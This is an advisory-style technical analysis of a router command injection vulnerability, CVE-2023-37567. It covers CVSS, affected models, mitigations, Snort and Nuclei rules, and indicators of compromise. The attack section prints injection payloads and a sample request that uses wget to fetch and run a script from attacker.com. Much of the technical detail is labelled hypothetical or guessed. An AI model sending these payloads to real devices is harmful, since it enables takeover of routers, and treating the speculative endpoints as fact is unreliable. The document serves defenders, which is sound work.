Comprehensive Technical Analysis of CVE-2023-37567

CVE ID: CVE-2023-37567 CVSS Score: 9.8 (Critical) Vulnerability Type: Command Injection (Remote, Unauthenticated) Affected Vendors: ELECOM, LOGITEC Publication Date: July 13, 2023

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1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

CVE-2023-37567 is a remote command injection vulnerability in multiple ELECOM and LOGITEC wireless LAN routers, allowing an unauthenticated attacker to execute arbitrary commands on the affected device. The flaw stems from improper input validation in the web management interface, where specially crafted HTTP requests can inject and execute system commands.

Severity Justification (CVSS 9.8 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

• Attack Vector (AV:N) – Network (remote exploitation)
• Attack Complexity (AC:L) – Low (no special conditions required)
• Privileges Required (PR:N) – None (unauthenticated)
• User Interaction (UI:N) – None
• Scope (S:U) – Unchanged (impact confined to the vulnerable component)
• Confidentiality (C:H) – High (full system compromise possible)
• Integrity (I:H) – High (arbitrary command execution)
• Availability (A:H) – High (device can be disabled or repurposed)

The critical severity is justified due to:

• Unauthenticated remote exploitation (no credentials required).
• High impact on confidentiality, integrity, and availability.
• Low attack complexity (exploitable via simple HTTP requests).
• Widespread deployment of affected devices in SOHO and enterprise environments.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

The vulnerability likely resides in a web-based administrative interface (e.g., CGI scripts, PHP, or embedded web server) where user-supplied input is passed directly to a system command execution function (e.g., system(), exec(), popen() in C/PHP, or shell command interpolation in Python/Perl).

Exploitation Steps:

1. Reconnaissance:

   • Identify vulnerable devices via Shodan, Censys, or mass scanning (e.g., HTTP headers, firmware version checks).
   • Target the web management port (typically TCP/80 or TCP/443).

2. Crafting the Exploit:

   • Send a malicious HTTP request (GET/POST) with command injection payloads in parameters such as:
     • URL path (/cgi-bin/;id;)
     • Query strings (?action=ping&ip=127.0.0.1;id)
     • HTTP headers (User-Agent: () { :; }; id)
     • Form fields (e.g., username=admin&password=;id)

3. Command Execution:

   • If the router’s web server improperly sanitizes input, the injected command (e.g., id, wget, nc, busybox) executes with the privileges of the web server process (often root in embedded devices).

4. Post-Exploitation:

   • Persistence: Install backdoors (e.g., reverse shells, SSH keys).
   • Lateral Movement: Pivot into internal networks.
   • Data Exfiltration: Steal Wi-Fi credentials, ARP tables, or sensitive files.
   • Botnet Recruitment: Enlist the device in a DDoS or cryptomining botnet.

Example Exploit (Hypothetical):

GET /cgi-bin/;wget%20http://attacker.com/malware.sh|sh; HTTP/1.1
Host: <TARGET_IP>
User-Agent: () { :; }; /bin/busybox wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh

(Note: Actual exploit requires reverse-engineering the vulnerable endpoint.)

Attack Vectors:

Vector	Description
Internet-Facing Routers	Direct exploitation if the admin interface is exposed to the internet.
LAN-Based Attacks	Compromised internal hosts (e.g., via phishing) can exploit the router.
Supply Chain Attacks	Malicious firmware updates or pre-infected devices.
Wi-Fi Exploitation	Attackers on the same network (e.g., guest Wi-Fi) can target the router.

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3. Affected Systems and Software Versions

Vulnerable Products:

Model	Affected Versions	Vendor
WRC-1167GHBK3-A	v1.24 and earlier	ELECOM
WRC-F1167ACF2	All versions	ELECOM
WRC-600GHBK-A	All versions	ELECOM
WRC-733FEBK2-A	All versions	ELECOM
WRC-1467GHBK-A	All versions	ELECOM
WRC-1900GHBK-A	All versions	ELECOM
LAN-W301NR	All versions	LOGITEC

Firmware Analysis Considerations:

• Embedded Linux: Many affected devices run BusyBox or OpenWRT-based firmware, increasing the risk of command injection.
• Default Credentials: Some models may ship with default admin credentials (e.g., admin:admin), exacerbating the risk.
• End-of-Life (EOL) Devices: Several models are no longer supported, meaning no patches will be released.

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Apply Vendor Patches:

   • Check ELECOM’s security advisories (July 2023, August 2023) for firmware updates.
   • Note: Some devices may not receive patches; consider replacement.

2. Network-Level Protections:

   • Disable Remote Administration: Restrict web management access to LAN-only (disable WAN access).
   • Change Default Credentials: Use strong, unique passwords for the admin interface.
   • Enable HTTPS: Prevent MITM attacks on management traffic.
   • Segmentation: Isolate the router’s management interface from untrusted networks (e.g., guest Wi-Fi).

3. Intrusion Detection/Prevention:

   • Deploy IDS/IPS (e.g., Snort, Suricata) to detect command injection attempts:

     alert tcp any any -> $HOME_NET 80 (msg:"CVE-2023-37567 Command Injection Attempt"; flow:to_server,established; content:";"; nocase; pcre:"/(\||;|\&\&|\$\(|`)/i"; sid:1000001; rev:1;)
     

   • Monitor for unusual outbound connections (e.g., wget, curl, nc from the router).

4. Temporary Workarounds (If Patching is Not Possible):

   • Disable Web Management: Use SSH or console access instead.
   • Firewall Rules: Block inbound traffic to the admin port (e.g., iptables -A INPUT -p tcp --dport 80 -j DROP).
   • Firmware Downgrade: If a vulnerable version is unavoidable, revert to a known-good version (risky).

Long-Term Strategies:

1. Replace EOL Devices: Upgrade to supported models with active security updates.
2. Network Hardening:
   • Implement 802.1X for port-based authentication.
   • Use VLANs to segregate management traffic.
3. Threat Intelligence Integration:
   • Subscribe to CISA KEV (Known Exploited Vulnerabilities) and vendor advisories.
4. Automated Vulnerability Scanning:
   • Use tools like Nessus, OpenVAS, or Nuclei to detect vulnerable devices.
   • Example Nuclei template:

     id: CVE-2023-37567
     info:
       name: ELECOM Router Command Injection
       severity: critical
       description: Detects CVE-2023-37567 in ELECOM routers.
     requests:
       - method: GET
         path:
           - "{{BaseURL}}/cgi-bin/;id;"
         matchers:
           - type: word
             words:
               - "uid="
     

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5. Impact on the Cybersecurity Landscape

Broader Implications:

1. SOHO and Enterprise Risk:

   • Small businesses and home users are primary targets due to lack of security awareness.
   • Enterprise branch offices using affected routers may face lateral movement risks.

2. Botnet Recruitment:

   • Vulnerable routers are prime targets for Mirai-like botnets (e.g., Mozi, Gafgyt).
   • DDoS amplification and cryptojacking are likely post-exploitation outcomes.

3. Supply Chain Concerns:

   • LOGITEC and ELECOM are popular in Japan and Asia; regional ISPs may distribute vulnerable devices.
   • Third-party resellers may unknowingly sell outdated stock.

4. Regulatory and Compliance Risks:

   • GDPR, NIS2, and CCPA may apply if the router processes sensitive data.
   • PCI DSS violations if the router is part of a payment processing network.

5. Exploit Development:

   • Proof-of-concept (PoC) exploits are likely to emerge, increasing attack frequency.
   • Metasploit modules may be developed, lowering the barrier for script kiddies.

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6. Technical Details for Security Professionals

Root Cause Analysis:

The vulnerability likely stems from:

• Lack of Input Sanitization: User-controlled input (e.g., HTTP parameters) is passed directly to a shell command.
• Use of Dangerous Functions: Code may use system(), exec(), or popen() without proper escaping.
• Hardcoded Secrets: Some routers may have backdoor accounts or debug interfaces enabled.

Example Vulnerable Code (Hypothetical):

// Vulnerable CGI script (C)
#include <stdio.h>
#include <stdlib.h>

int main() {
    char ip[256];
    char cmd[512];

    // Unsafe input handling
    strcpy(ip, getenv("QUERY_STRING")); // e.g., "ip=127.0.0.1;id"
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ip); // Command injection
    system(cmd); // Executes: ping -c 4 127.0.0.1;id

    return 0;
}

Exploitation Challenges:

• Firmware Obfuscation: Some vendors encrypt or pack firmware, complicating reverse engineering.
• ASLR/DEP: Modern routers may have NX (No-Execute) and ASLR, but many embedded devices lack these protections.
• Rate Limiting: Some routers may throttle requests, slowing brute-force attacks.

Forensic Indicators of Compromise (IoCs):

Indicator	Description
Unusual Processes	nc, wget, curl, busybox, or unknown binaries running on the router.
Modified Files	/etc/passwd, /etc/shadow, or /etc/rc.local tampered with.
Network Connections	Outbound connections to C2 servers (e.g., attacker.com:4444).
Log Entries	Suspicious HTTP requests in /var/log/httpd.log or /var/log/messages.
Cron Jobs	New entries in /etc/crontab or /var/spool/cron/.

Reverse Engineering Guidance:

1. Extract Firmware:
   • Use binwalk or Firmware Mod Kit to unpack the firmware:

     binwalk -e firmware.bin
     

2. Analyze Web Interface:
   • Identify CGI scripts (/www/cgi-bin/) and check for unsafe functions.
   • Use Ghidra or IDA Pro to decompile the binary.
3. Fuzz for Vulnerabilities:
   • Use Boofuzz or Wfuzz to test for command injection:

     wfuzz -c -z file,/path/to/payloads.txt --hh 0 http://<TARGET>/cgi-bin/FUZZ
     

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Conclusion

CVE-2023-37567 represents a critical threat to organizations and individuals using affected ELECOM and LOGITEC routers. The unauthenticated remote command injection capability, combined with the widespread deployment of these devices, makes this vulnerability a high-priority target for attackers.

Key Takeaways for Security Teams:

✅ Patch immediately if a fix is available. ✅ Isolate management interfaces from untrusted networks. ✅ Monitor for exploitation attempts using IDS/IPS. ✅ Replace EOL devices that will not receive updates. ✅ Assume compromise if IoCs are detected; perform forensic analysis.

Given the CVSS 9.8 rating and the ease of exploitation, this vulnerability is expected to be actively exploited in the wild. Organizations should treat it with the same urgency as Log4Shell or EternalBlue in terms of mitigation and monitoring.